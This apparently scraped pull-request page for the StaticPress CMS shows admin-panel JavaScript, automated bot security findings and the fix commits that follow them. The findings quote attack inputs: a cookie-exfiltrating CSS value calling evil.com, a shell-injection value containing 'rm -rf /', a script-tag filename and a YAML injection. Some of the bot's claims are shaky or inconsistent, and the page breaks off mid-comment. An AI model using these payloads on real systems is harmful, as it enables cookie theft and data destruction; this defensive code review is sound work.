<div class="w-px h-6 bg-gray-300 dark:bg-gray-600 mx-2"></div>
<button onclick="format('link')" class="toolbar-btn" title="Link">🔗</button>
<button onclick="openMediaModal()" class="toolbar-btn" title="Insert Image">🖼️</button>
<button onclick="format('table')" class="toolbar-btn" title="Table">⊞</button>
<div class="w-px h-6 bg-gray-300 dark:bg-gray-600 mx-2"></div>
<button onclick="format('undo')" class="toolbar-btn" title="Undo">↩</button>
<button onclick="format('redo')" class="toolbar-btn" title="Redo">↪</button>
` : ''}
</div>
<div id="editor-container" class="flex-1 overflow-auto">
${state.mode === 'visual' ? `
<div id="tiptap-editor" class="ProseMirror bg-white dark:bg-gray-800 min-h-[400px]"></div>
` : `
<textarea id="markdown-editor" class="w-full h-full p-4 bg-white dark:bg-gray-800 text-gray-900 dark:text-white font-mono text-sm resize-none border-0 outline-none" placeholder="Write markdown...">${escapeHtml(item.content || '')}</textarea>
`}
</div>
</div>
` : ''}

${state.previewMode === 'split' ? '<div class="divider"></div>' : ''}

${state.previewMode === 'iframe' || state.previewMode === 'split' ? `
<div class="${state.previewMode === 'split' ? '' : 'h-1/2'}">
<div class="p-2 border-b border-gray-200 dark:border-gray-700 bg-gray-50 dark:bg-gray-800">
<span class="text-sm font-medium text-gray-700 dark:text-gray-300">Preview</span>
</div>
${state.previewMode === 'iframe' ? `
<iframe id="preview-iframe" class="preview-iframe" sandbox="allow-scripts" srcdoc="<html><body style='font-family:system-ui;padding:2rem;'><p class='text-gray-500'>Save to see preview...</p></body></html>"></iframe>
` : `
<div id="preview-html" class="p-6 bg-white dark:bg-gray-800 min-h-[400px] overflow-auto prose dark:prose-invert max-w-none">
<p class="text-gray-500">Save to see preview...</p>
</div>
`}
</div>
` : ''}

${state.previewMode === 'rendered' ? `
<div class="h-1/2 border-t border-gray-200 dark:border-gray-700">
<div class="p-2 border-b border-gray-200 dark:border-gray-700 bg-gray-50 dark:bg-gray-800">
<span class="text-sm font-medium text-gray-700 dark:text-gray-300">Rendered HTML</span>
</div>
<textarea id="html-output" class="w-full h-full p-4 bg-gray-900 text-green-400 font-mono text-sm resize-none border-0 outline-none" readonly placeholder="HTML output will appear here..."></textarea>
</div>
` : ''}
</div>
`;
}

function renderMediaModal() {
const container = document.getElementById('modal-container');
container.innerHTML = `
<div class="modal-overlay" onclick="closeMediaModal(event)">
<div class="modal-content" onclick="event.stopPropagation()">
<div class="p-4 border-b border-gray-200 dark:border-gray-700 flex justify-between items-center">
<h2 class="text-xl font-bold text-gray-900 dark:text-white">Media Library</h2>
<button onclick="closeMediaModal()" class="text-gray-500 hover:text-gray-700 dark:hover:text-gray-300 text-2xl">&times;</button>
</div>
<div class="p-4 border-b border-gray-200 dark:border-gray-700">
<label class="px-4 py-2 bg-blue-600 text-white rounded-lg hover:bg-blue-700 cursor-pointer inline-block">
+ Upload Image
<input type="file" accept="image/*" onchange="uploadMedia(this.files)" class="hidden" multiple>
</label>
</div>
<div class="media-grid max-h-[400px] overflow-auto">
${state.media.length === 0 ? `
<div class="col-span-4 text-center text-gray-500 py-8">No media yet. Upload your first image!</div>
` : state.media.map(item => `
<div class="media-item" onclick="insertMedia('${escapeHtml(item.url)}')">
<img src="${escapeHtml(item.url)}" alt="${escapeHtml(item.name)}">
<div class="media-item-info">${escapeHtml(item.name)}</div>
</div>
`).join('')}
</div>
</div>
</div>
`;
}

window.insertMedia = function(url) {
if (state.editor) {
state.editor.chain().focus().setImage({ src: url }).run();
}
closeMediaModal();
};

window.openMediaModal = function() {
state.mediaModalOpen = true;
render();
};

window.closeMediaModal = function(event) {
if (event && event.target !== event.currentTarget) return;
state.mediaModalOpen = false;
render();
};

window.copyMediaUrl = async function(url) {
try {
await navigator.clipboard.writeText(window.location.origin + url);
showToast('URL copied to clipboard!', 'success');
} catch (e) {
showToast('Failed to copy URL', 'error');
}
};

window.uploadMedia = async function(files) {
if (!files || files.length === 0) return;

for (const file of files) {
const formData = new FormData();
formData.append('file', file);

try {
showToast(`Uploading ${file.name}...`, 'info');
const result = await apiForm('/media/upload', formData);
if (result.success) {
showToast(`${file.name} uploaded!`, 'success');
} else {
showToast(`Failed to upload ${file.name}`, 'error');
}
} catch (e) {
showToast(`Error uploading ${file.name}`, 'error');
}
}

await loadMedia();
render();
};

window.deleteMedia = async function(filename) {
if (!confirm(`Delete ${filename}?`)) return;

try {
const result = await api(`/media/${encodeURIComponent(filename)}`, { method: 'DELETE' });
if (result.success) {
showToast('Media deleted', 'success');
await loadMedia();
render();
} else {
showToast('Failed to delete media', 'error');
}
} catch (e) {
showToast('Error deleting media', 'error');
}
};

async function loadMedia() {
try {
state.media = await api('/media');
} catch (e) {
state.media = [];
}
}

window.navigate = async function(view) {
state.currentView = view;
state.currentItem = null;
await loadContent();
if (view === 'media') await loadMedia();
render();
};

window.backToList = function() {
state.currentItem = null;
state.editor = null;
render();
};

async function loadContent() {
try {
state.posts = await api('/posts');
state.pages = await api('/pages');
} catch (e) {
showToast('Failed to load content', 'error');
}
}

window.createNew = function(type) {
const slug = `new-${type}-${Date.now()}`;
state.currentItem = {
slug,
title: '',
content: '',
excerpt: '',
published: false,
date: new Date().toISOString().split('T')[0],
isNew: true,
};
state.currentView = type;
render();
};

window.editItem = async function(type, slug) {
try {
const item = await api(`/${type}/${slug}`);
state.currentItem = { ...item, isNew: false };
state.currentView = type;
render();
} catch (e) {
showToast('Failed to load item', 'error');
}
};

window.deleteItem = async function(type, slug) {
if (!confirm(`Delete ${slug}?`)) return;
try {
await api(`/${type}/${slug}`, { method: 'DELETE' });
showToast('Deleted successfully', 'success');
await loadContent();
render();
} catch (e) {
showToast('Failed to delete', 'error');
}
};

window.saveItem = async function() {
const item = state.currentItem;
let rawContent = state.mode === 'markdown'
? document.getElementById('markdown-editor').value
: (state.editor?.getHTML() || '');

// Sanitize visual editor HTML through server before saving
let content = rawContent;
if (state.mode === 'visual' && rawContent) {
try {
const result = await api('/render', {
method: 'POST',
body: JSON.stringify({ content: rawContent }),
});
// Use the sanitized HTML from server for storage
content = result.sanitized || rawContent;
} catch (e) {
showToast('Failed to sanitize content', 'error');
return;
}
}

const data = {
title: document.getElementById('item-title').value,
slug: document.getElementById('item-slug').value,
excerpt: document.getElementById('item-excerpt').value,
published: document.getElementById('item-published').checked,
date: item.date,
content,
};

if (!data.title) {
showToast('Title is required', 'error');
return;
}

if (!data.slug) {
data.slug = slugify(data.title);
}

try {
await api(`/${state.currentView}/${data.slug}`, {
method: 'POST',
body: JSON.stringify(data),
});
showToast('Saved successfully', 'success');
state.currentItem = { ...data, isNew: false };
await loadContent();
render();
} catch (e) {
showToast('Failed to save', 'error');
}
};

window.setMode = function(mode) {
if (state.mode === mode) return;
state.mode = mode;

if (mode === 'markdown' && state.editor) {
// When switching to markdown, use the original content since we don't have
// a proper HTML->markdown converter. Visual edits are saved to currentItem on switch.
const mdContent = state.currentItem?.content || state.editor.getText();
document.getElementById('editor-container').innerHTML = `
<textarea id="markdown-editor" class="w-full h-full p-4 bg-white dark:bg-gray-800 text-gray-900 dark:text-white font-mono text-sm resize-none border-0 outline-none" placeholder="Write markdown...">${escapeHtml(mdContent)}</textarea>
`;
} else if (mode === 'visual' && state.editor === null) {
setTimeout(initTipTap, 0);
}

render();
};

window.setPreviewMode = function(mode) {
state.previewMode = mode;
render();
};

window.format = function(type, options = {}) {
if (!state.editor) return;

const chain = state.editor.chain().focus();

switch (type) {
case 'bold': chain.toggleBold().run(); break;
case 'italic': chain.toggleItalic().run(); break;
case 'strike': chain.toggleStrike().run(); break;
case 'code': chain.toggleCode().run(); break;
case 'heading': chain.toggleHeading({ level: options.level || 1 }).run(); break;
case 'bulletList': chain.toggleBulletList().run(); break;
case 'orderedList': chain.toggleOrderedList().run(); break;
case 'taskList': chain.toggleTaskList().run(); break;
case 'blockquote': chain.toggleBlockquote().run(); break;
case 'codeBlock': chain.toggleCodeBlock().run(); break;
case 'hr': chain.setHorizontalRule().run(); break;
case 'link':
const url = prompt('Enter URL:');
if (url) chain.setLink({ href: url }).run();
break;
case 'table':
chain.insertTable({ rows: 3, cols: 3, withHeaderRow: true }).run();
break;
case 'undo': chain.undo().run(); break;
case 'redo': chain.redo().run(); break;
}
};

async function initTipTap() {
if (state.mode !== 'visual') return;

const element = document.getElementById('tiptap-editor');
if (!element) return;

let content = state.currentItem?.content || '';
try {
const result = await api('/render', {
method: 'POST',
body: JSON.stringify({ content }),
});
content = result.html || '';
} catch (e) {
content = '';
}

state.editor = window.createEditor(element, content, (html) => {
updatePreview(html);
});
}

window.initEditor = function() {
if (state.mode === 'visual' && !state.editor) {
setTimeout(initTipTap, 0);
} else if (state.mode === 'markdown') {
setTimeout(() => {
const ta = document.getElementById('markdown-editor');
if (ta) {
ta.addEventListener('input', () => updatePreview(ta.value));
}
}, 0);
}
};

async function updatePreview(content) {
if (state.previewMode === 'split') {
const previewEl = document.getElementById('preview-html');
if (previewEl) {
try {
const result = await api('/render', {
method: 'POST',
body: JSON.stringify({ content }),
});
previewEl.innerHTML = result.html || '<p>Loading...</p>';
} catch (e) {
previewEl.innerHTML = '<p>Error rendering preview</p>';
}
}
} else if (state.previewMode === 'iframe') {
const iframe = document.getElementById('preview-iframe');
if (iframe) {
try {
const result = await api('/render', {
method: 'POST',
body: JSON.stringify({ content }),
});
const html = `<!DOCTYPE html><html><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.9.0/styles/github-dark.min.css"><style>body{font-family:system-ui;padding:2rem;max-width:800px;margin:0 auto;background:#fff;color:#1f2937}@media(prefers-color-scheme:dark){body{background:#111827;color:#f9fafb}}pre{background:#1f2937;color:#f3f4f6;padding:1em;border-radius:0.5em;overflow-x:auto}code{background:#f3f4f6;padding:0.2em 0.4em;border-radius:3px}pre code{background:none;padding:0}</style></head><body>${result.html}</body></html>`;
iframe.srcdoc = html;
} catch (e) {}
}
} else if (state.previewMode === 'rendered') {
const outputEl = document.getElementById('html-output');
if (outputEl) {
try {
const result = await api('/render', {
method: 'POST',
body: JSON.stringify({ content }),
});
outputEl.value = result.html || '';
} catch (e) {}
}
}
}

window.runBuild = async function() {
if (!confirm('Run build? This will generate static files in dist/')) return;
showToast('Building...', 'info');
try {
const result = await api('/build', { method: 'POST' });
if (result.success) {
showToast('Build successful!', 'success');
} else {
showToast('Build failed: ' + (result.error || 'Unknown error'), 'error');
}
} catch (e) {
showToast('Build failed', 'error');
}
};

window.runDeploy = async function() {
if (!confirm('Deploy to Cloudflare Pages? Make sure you have configured your Cloudflare settings.')) return;
showToast('Deploying...', 'info');
try {
const result = await api('/deploy', { method: 'POST' });
if (result.success) {
showToast('Deployed successfully!', 'success');
} else {
showToast('Deploy failed: ' + (result.error || 'Unknown error'), 'error');
}
} catch (e) {
showToast('Deploy failed', 'error');
}
};

window.saveSiteSettings = function() {
const siteUrl = document.getElementById('settings-site-url').value.trim();
const formspreeId = document.getElementById('settings-formspree-id').value.trim();

if (!siteUrl) {
showToast('Site URL is required', 'error');
return;
}

localStorage.setItem('site_url', siteUrl);
localStorage.setItem('formspree_id', formspreeId);
showToast('Site settings saved!', 'success');
};

window.saveCloudflareSettings = function() {
const project = document.getElementById('settings-cf-project').value.trim();
const token = document.getElementById('settings-cf-token').value.trim();
const account = document.getElementById('settings-cf-account').value.trim();

if (!project || !token || !account) {
showToast('Please fill in all Cloudflare fields', 'error');
return;
}

localStorage.setItem('cf_project', project);
localStorage.setItem('cf_token', token);
localStorage.setItem('cf_account', account);
showToast('Cloudflare settings saved!', 'success');
};

window.saveConfigFile = function() {
const siteUrl = localStorage.getItem('site_url') || '';
const formspreeId = localStorage.getItem('formspree_id') || '';
const cfProject = localStorage.getItem('cf_project') || '';
const cfToken = localStorage.getItem('cf_token') || '';
const cfAccount = localStorage.getItem('cf_account') || '';

const config = {
siteUrl,
formspreeId,
cloudflare: {
project: cfProject,
account: cfAccount
}
};

const blob = new Blob([JSON.stringify(config, null, 2)], { type: 'application/json' });
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = 'staticpress-config.json';
a.click();
URL.revokeObjectURL(url);
showToast('Config file downloaded', 'success');
};

window.loadConfigFile = function() {
const input = document.createElement('input');
input.type = 'file';
input.accept = '.json';
input.onchange = async (e) => {
const file = e.target.files[0];
if (!file) return;

const text = await file.text();
try {
const config = JSON.parse(text);

if (config.siteUrl) {
localStorage.setItem('site_url', config.siteUrl);
document.getElementById('settings-site-url').value = config.siteUrl;
}
if (config.formspreeId) {
localStorage.setItem('formspree_id', config.formspreeId);
document.getElementById('settings-formspree-id').value = config.formspreeId;
}
if (config.cloudflare) {
if (config.cloudflare.project) {
localStorage.setItem('cf_project', config.cloudflare.project);
document.getElementById('settings-cf-project').value = config.cloudflare.project;
}
if (config.cloudflare.account) {
localStorage.setItem('cf_account', config.cloudflare.account);
document.getElementById('settings-cf-account').value = config.cloudflare.account;
}
if (config.cloudflare.token) {
localStorage.setItem('cf_token', config.cloudflare.token);
document.getElementById('settings-cf-token').value = config.cloudflare.token;
}
}
showToast('Config loaded successfully!', 'success');
} catch (err) {
showToast('Invalid config file', 'error');
}
};
input.click();
};

window.toggleTheme = function() {
state.theme = state.theme === 'dark' ? 'light' : 'dark';
localStorage.setItem('theme', state.theme);
applyTheme();
render();
};

function escapeHtml(str) {
if (!str) return '';
return str.replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;');
}

function slugify(text) {
return text.toLowerCase().replace(/[^\w\s-]/g, '').replace(/\s+/g, '-').replace(/-+/g, '-').trim();
}

document.addEventListener('input', (e) => {
if (e.target.id === 'item-title' && !state.currentItem?.slug.startsWith('new-')) return;
const slugInput = document.getElementById('item-slug');
if (slugInput && e.target.id === 'item-title') {
if (!slugInput.dataset.manual) {
slugInput.value = slugify(e.target.value);
}
}
});

document.addEventListener('focusin', (e) => {
if (e.target.id === 'item-slug') {
e.target.dataset.manual = 'true';
}
});

loadContent().then(() => loadMedia()).then(render);
</script>
</body>
</html> No newline at end of file
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Double HTML-escaping breaks markdown mode toggle after visual editing

Medium Severity

Content saved through the visual editor is HTML-sanitized with escaped characters (e.g., &lt;, &gt;, &quot;). When switching from visual to markdown mode, escapeHtml() is applied again to content that is already escaped. This causes &amp;lt; instead of &lt;, displaying literal HTML entity strings to users instead of actual characters.

The round-trip flow: Visual input a < b → stored as a &lt; b → markdown mode shows a &amp;lt; b. Users see HTML entities as text, making the markdown toggle unusable for content that was edited in visual mode.

Suggested fix: When switching to markdown mode, use the original content before HTML escaping instead of the DOMPurify-sanitized version. The markdown content should be stored separately from the sanitized HTML, or the markdown mode should use decodeHTMLEntities() on the escaped content before display.

@gitzillabot
Copy link

gitzillabot bot commented Mar 20, 2026

Caution

High Risk
5 new findings — 5 total

Overview
Good - I can confirm that pages.astro (line 114) already has the date fallback that posts.astro is missing. This is an inconsistency that needs to be addressed.

Summary of Findings

Reported 2 issues:

  1. [HIGH] The formatFrontmatter function's --- escape mechanism is fundamentally broken. The replacement string \\-\\-\\- produces \-\-\- in the file, which is not a valid YAML escape sequence. YAML parsers won't recognize it as an escape, so the original --- could still be interpreted as a document separator. This undermines the stated security fix for YAML injection.

  2. [MEDIUM] posts.astro's formatFrontmatter is missing the date fallback that pages.astro correctly has. If post.date is undefined, the generated YAML will contain date: undefined which is invalid syntax.

Verified as correctly implemented:

  • SVG upload rejection in src/server.ts
  • Path traversal protection for media deletion
  • Slug validation on all API endpoints
  • iframe sandbox set to allow-scripts only
  • DOMPurify style tag removed from ALLOWED_TAGS and style added to FORBID_ATTR
  • YAML parsing using JSON_SCHEMA
  • isProduction() correctly rejects localhost, private IPs, and .local domains
  • API token not included in config export
    I've reviewed this chunk thoroughly and found two confirmed security vulnerabilities related to YAML injection. Let me summarize:

Summary of Changes in This Chunk:

This PR chunk introduces several security hardening improvements to the StaticPress CMS:

  • Config module (src/lib/config.ts): Added robust isProduction() validation that properly rejects localhost, private IP ranges (10.x, 172.16-31.x, 192.168.x), and .local hostnames.

  • Markdown processing (src/lib/markdown.ts): Added DOMPurify sanitization with strict tag/attribute allowlists, removed dangerous tags like script, iframe, style, and added style to forbidden attributes. YAML parsing uses JSON_SCHEMA to prevent arbitrary code execution.

  • CSS injection protection (src/layouts/BaseLayout.astro): Implemented strict whitelist validation for theme CSS values, allowing only safe CSS custom properties with pre-approved color formats, sizes, and keywords.

  • Admin security (src/pages/admin/posts.astro, src/pages/admin/pages.astro): Added duplicate slug validation, improved input sanitization with .trim() checks, and replaced dangerous template literal frontmatter generation with dedicated escapeYAML() and formatFrontmatter() functions.

  • Token handling (src/pages/admin/deploy.astro): API tokens are now excluded from config file exports for security, and the deploy command shows a shell-safe command pattern for users to run manually instead of executing inline.

  • Build page (src/pages/admin/build.astro): Changed from running builds client-side to displaying the bun run build command for users to execute in their terminal.

  • Page/blog routes: Added proper dynamic routing with Astro content collections, SEO meta tags, and proper date handling.
    The changes to deploy.astro reorganize the admin panel's configuration handling. The UI now separates site-level settings (URL, Formspree ID) from Cloudflare deployment settings (project name, API token, account ID). The save-config operation intentionally excludes the API token from exports for security, and the deploy command now shows the wrangler CLI invocation with environment variable instructions instead of executing directly. The config file format was restructured to use nested cloudflare properties, though this introduces a backward-compatibility gap in the load path that prevents restoring tokens from previously saved configs.

Inline comments posted: 5

Written by Gitzilla for commit 8e991e8. This will update automatically on new runs.

Potentially Resolved Since Previous Run

  • [MEDIUM] YAML injection risk in frontmatter via newline escaping flaw @ src/pages/admin/posts.astro (id:74b05f2401)

Findings

  1. [HIGH] YAML frontmatter --- escape produces invalid escape sequence id:37677dfe8c
    Location: src/pages/admin/posts.astro:119
    The formatFrontmatter function in posts.astro and pages.astro attempts to escape --- sequences using content.replace(/^---$/gm, '\\-\\-\\-'). In JavaScript, '\\-\\-\\-' becomes the literal string \-\-\-. However, \-\-\- is NOT a valid YAML escape sequence—YAML only recognizes specific escapes like \n, \t, \", etc. The YAML parser will interpret \-\-\- as literal characters, which does not prevent --- from being recognized as a document separator. A user can still inject content that breaks out of frontmatter by starting their post with ---.
    Suggested fix: Either check if content starts with --- and prepend a newline, or use proper YAML block scalar syntax. For example: if (post.content.startsWith('---')) content = '\n' + content;

  2. [HIGH] YAML injection via unquoted date field in frontmatter generation id:fdc2f47f3c
    Location: src/pages/admin/posts.astro:127
    In src/pages/admin/posts.astro, the formatFrontmatter function generates YAML frontmatter with an unquoted date field at line 131: date: ${post.date}. If post.date contains a newline character, it breaks out of the field value and allows injection of arbitrary YAML keys.

    Example attack: setting date to 2024-01-01\nauthor: "injected" produces:

    ---
    title: "..."
    date: 2024-01-01
    author: "injected"
    ---

    This injects an additional author field into the frontmatter. The same vulnerability exists in pages.astro at line 109 with date: ${page.date || ...}.

    Both locations should quote and escape the date value like: `date: "${escapeYAML(post.date)}"`.
    Suggested fix: Quote and escape the date field: date: "${escapeYAML(post.date)}"

  3. [HIGH] YAML injection via unquoted date field in pages frontmatter generation id:e007a13d42
    Location: src/pages/admin/pages.astro:103
    In src/pages/admin/pages.astro, the formatFrontmatter function at line 109 uses an unquoted date field: date: ${page.date || new Date().toISOString().split('T')[0]}. If the page's date value contains a newline, it injects arbitrary YAML structure. This is the same vulnerability as in posts.astro but affects page exports.

    The date field should be quoted and escaped: `date: "${escapeYAML(page.date || new Date().toISOString().split('T')[0])}"`.
    Suggested fix: Quote and escape the date field: date: "${escapeYAML(page.date || new Date().toISOString().split('T')[0])}"

  4. [MEDIUM] Missing fallback for undefined date in formatFrontmatter id:1ece0db3aa
    Location: src/pages/admin/posts.astro:131
    The formatFrontmatter function inserts post.date directly without a fallback: date: ${post.date}. While the save function sets date: new Date().toISOString().split('T')[0], if post.date is undefined (from corrupted localStorage, manual edits, or API responses), this produces date: undefined which is invalid YAML syntax.
    Suggested fix: Use a fallback: date: ${post.date || new Date().toISOString().split('T')[0]}

  5. [MEDIUM] Config load/save asymmetry breaks token restoration id:08f48527cc
    Location: src/pages/admin/deploy.astro:302
    The save-config function explicitly omits the token from the exported JSON for security reasons (line 252-255), but the load-config function only checks for config.cloudflare.token (lines 302-306). This creates two problems:

    1. Saved config files can never restore the API token — the user must re-enter it every time
    2. Old config files using the flat config.token format are not supported for token restoration

    The result is that after exporting a config, users cannot re-import their API token. The load function needs a fallback check for config.token (the old flat format) to provide backward compatibility for users with existing config files.
    Suggested fix: Add a fallback to load token from old flat format: const token = config.cloudflare?.token || config.token; and then restore it to localStorage.

Additional notes

Some changed files were skipped by repository review settings.

…own mode

Content from DOMPurify is already HTML-escaped. When switching to markdown mode,
escapeHtml() was called again, causing entities like &lt; to become &amp;lt;

The fix: don't escape content that comes from DOMPurify sanitization.
Copy link

@gitzillabot gitzillabot bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Gitzilla has reviewed your changes and found 2 potential issues.

Autofix is OFF. To automatically fix reported issues, enable autofix in the Gitzilla dashboard.

Comment on lines +39 to +50
(function() {
// Apply theme
if (localStorage.getItem('theme') === 'light') document.documentElement.classList.remove('dark');
else document.documentElement.classList.add('dark');

// Apply custom theme CSS - only allow CSS custom properties for safety
const themeCss = localStorage.getItem('theme_css');
if (themeCss) {
// Only allow lines that are CSS custom properties with safe values
// Safe values: hex colors, rgb/rgba, hsl/hsla, numbers with optional units, named colors
const lines = themeCss.split(';');
const validVars = [];
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

CSS injection via rgb/rgba color value regex bypass

Medium Severity

The CSS custom property validation regex in BaseLayout.astro allows semicolons within rgb/rgba values. The pattern rgb([^)]+\) matches any characters except ), including ;. This permits CSS injection: a theme value like --color: rgb(1;color:red) passes validation and injects a second CSS property. While style tags and style attributes are blocked by DOMPurify, injecting custom properties into the :root scope could enable further CSS-based attacks or page defacement. The fix should either remove rgb/rgba from the allowed patterns or use a more restrictive regex that doesn't allow semicolons within the value.

Suggested fix: Replace the rgb/rgba patterns in the regex with strict color format validation. For example, use a pattern like ^#[0-9a-fA-F]{3,8}$ for hex colors and remove rgb/rgba from allowed patterns entirely, since they allow arbitrary content within parentheses.

Comment on lines +36 to +52

<!-- Theme and Custom CSS -->
<script is:inline>
(function() {
// Apply theme
if (localStorage.getItem('theme') === 'light') document.documentElement.classList.remove('dark');
else document.documentElement.classList.add('dark');

// Apply custom theme CSS - only allow CSS custom properties for safety
const themeCss = localStorage.getItem('theme_css');
if (themeCss) {
// Only allow lines that are CSS custom properties with safe values
// Safe values: hex colors, rgb/rgba, hsl/hsla, numbers with optional units, named colors
const lines = themeCss.split(';');
const validVars = [];
for (const line of lines) {
const trimmed = line.trim();
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

CSS injection bypass via property names in theme_css validation

High Severity

The CSS injection protection regex in BaseLayout.astro only validates property VALUES but allows arbitrary property NAMES. An attacker can inject CSS like --evil: url('//evil.com?c='+document.cookie) or --background: url('//evil.com?css='+getComputedStyle(document.body).cssText). The regex validates that values are safe colors/numbers, but allows property names like "background" or "color" which CSS will apply directly. This enables exfiltration of sensitive data via CSS-based timing attacks or resource loading.

Suggested fix: Allow only a whitelist of specific custom property names (e.g., --color-primary, --color-background, --color-text) rather than any --* pattern, OR use a stricter regex that only allows known safe properties and values.

… value patterns

- Whitelist specific safe CSS property names instead of allowing any --*
- Strict regex for rgb/rgba/hsl/hsla values (no semicolons inside)
- Only allow known safe value patterns: hex colors, proper color functions, numbers with units, keywords
- Prevents bypasses like 'rgb(1;--evil:injected)' or arbitrary --* properties
…perties

- Remove non-custom-property CSS rules (body { font-family... })
- Update default CSS to only use whitelisted custom properties
- Add comment listing all available CSS custom properties
Copy link

@gitzillabot gitzillabot bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Gitzilla has reviewed your changes and found 2 potential issues.

Autofix is OFF. To automatically fix reported issues, enable autofix in the Gitzilla dashboard.

Comment on lines +45 to +65
const lastmod = data.date ? new Date(data.date as string).toISOString().split('T')[0] : new Date().toISOString().split('T')[0];
urls.push(`<url><loc>${siteUrl}/blog/${slug}/</loc><lastmod>${lastmod}</lastmod><changefreq>monthly</changefreq><priority>0.8</priority></url>`);
}
} catch (e) {}
}
}

if (existsSync(PAGES_DIR)) {
const files = readdirSync(PAGES_DIR).filter((f: string) => f.endsWith('.md'));
for (const file of files) {
try {
const content = readFileSync(join(PAGES_DIR, file), 'utf-8');
const { data } = extractFrontmatter(content);
if (data.published !== false) {
const slug = file.replace('.md', '');
urls.push(`<url><loc>${siteUrl}/${slug}/</loc><changefreq>monthly</changefreq><priority>0.7</priority></url>`);
}
} catch (e) {}
}
}

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Sitemap XML injection vulnerability via unsanitized slugs

Medium Severity

The sitemap generation in scripts/generate-sitemap.ts and src/server.ts inserts slug values directly into XML without encoding XML special characters. If a content file has a malicious filename like "><script>alert(1)</script>.md, the generated sitemap will contain unescaped XML that can break parsing or enable injection attacks. The slug from the filename is used at lines 48-49 and 60-61 in generate-sitemap.ts without any sanitization.

Suggested fix: Add XML encoding for slugs before inserting into sitemap URLs: const encodedSlug = slug.replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;');

const config = { project, token, account };
const output = document.getElementById('deploy-output');
const logs = document.getElementById('deploy-logs');

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Shell command injection in deploy command generation

Critical Severity

The deploy command construction at line 229 directly interpolates account and project from localStorage into a shell command without sanitization or quoting: export CF_ACCOUNT_ID=${account} && ... && bunx wrangler pages deploy dist --project-name=${project}. An attacker who can modify localStorage (via XSS on this admin panel, or via browser devtools if left unattended) can inject arbitrary shell commands. The account variable is unquoted, making it trivial to break out and inject.

Suggested fix: Use a whitelist regex to validate account/project (alphanumeric and hyphens only) before interpolation. Wrap ${account} in double quotes and escape any double quotes inside the value using shell escaping (replace(/"/g, '\\"')).

- Add escapeXml() function to escape < > & " ' characters
- Apply escapeXml() to slugs in scripts/generate-sitemap.ts
- Apply escapeXml() to slugs in src/server.ts generateSitemap()
- Prevents malicious slugs like '><script>alert(1)</script>' from injecting code
Copy link

@gitzillabot gitzillabot bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Gitzilla has reviewed your changes and found 3 potential issues.

Autofix is OFF. To automatically fix reported issues, enable autofix in the Gitzilla dashboard.


output.classList.remove('hidden');

const command = `export CF_API_TOKEN="your-token-here" && export CF_ACCOUNT_ID=${account} && bunx wrangler pages deploy dist --project-name=${project}`;
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Shell command injection in deploy command via unsanitized project/account values

Medium Severity

The deploy button constructs a shell command using account and project values from localStorage without sanitization (line 232). If an attacker can manipulate localStorage (e.g., via XSS on the same origin), they could inject shell commands. For example, setting project to foo && rm -rf / would execute arbitrary commands when the user runs the displayed command.

Suggested fix: Sanitize account and project values before including in the shell command. At minimum, escape shell special characters or validate against an allowlist pattern for project/account names.

Comment on lines +576 to +579
const urls: string[] = [
`<url><loc>${baseUrl}/</loc><changefreq>weekly</changefreq><priority>1.0</priority></url>`,
`<url><loc>${baseUrl}/blog/</loc><changefreq>weekly</changefreq><priority>0.9</priority></url>`,
];
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Sitemap XML injection: siteUrl from config not escaped

Medium Severity

The generateSitemap() function uses baseUrl directly in XML without escaping (lines 577-578, 585, 592). While slugs are properly escaped with escapeXml(post.slug), the baseUrl (siteConfig.siteUrl) is interpolated raw into <loc> elements. If siteUrl contains characters like &, <, >, ", or ', it produces malformed XML and could enable XML injection attacks.

Suggested fix: Apply escapeXml(baseUrl) when constructing sitemap URLs, similar to how slugs are escaped.

const body = match[2] || '';

try {
const data = yaml.load(frontmatterStr) as Record<string, unknown> || {};
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

YAML parsing inconsistency: generate-sitemap.ts lacks JSON_SCHEMA

Medium Severity

scripts/generate-sitemap.ts line 33 uses yaml.load(frontmatterStr) without specifying a schema, while src/lib/markdown.ts correctly uses yaml.load(frontmatterStr, { schema: yaml.JSON_SCHEMA }). While js-yaml defaults to safe behavior in v4+, explicitly specifying JSON_SCHEMA is the documented fix mentioned in the PR. Without it, there may be version-specific or configuration-specific edge cases where unsafe YAML types could be parsed.

Suggested fix: Add { schema: yaml.JSON_SCHEMA } as the second argument to yaml.load() for consistency with src/lib/markdown.ts

- Escape siteUrl with escapeXml() in sitemap generation (both server.ts and generate-sitemap.ts)
- Use yaml.JSON_SCHEMA in generate-sitemap.ts for consistent safe YAML parsing
- This ensures malformed siteUrl can't break XML parsing
Copy link

@gitzillabot gitzillabot bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Gitzilla has reviewed your changes and found 3 potential issues.

Autofix is OFF. To automatically fix reported issues, enable autofix in the Gitzilla dashboard.

Comment on lines +175 to +180
// Save Site Config
document.getElementById('save-site-config').addEventListener('click', () => {
const url = document.getElementById('site-url').value.trim();
const formId = document.getElementById('formspree-id').value.trim();

if (!url) {
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Shell command injection in deploy command via unsanitized project/account values

High Severity

The deploy command in src/pages/admin/deploy.astro constructs a shell command by directly interpolating account and project values from localStorage without escaping. An attacker who can modify localStorage values (via XSS or browser dev tools) could inject arbitrary shell commands.

The vulnerable code is:

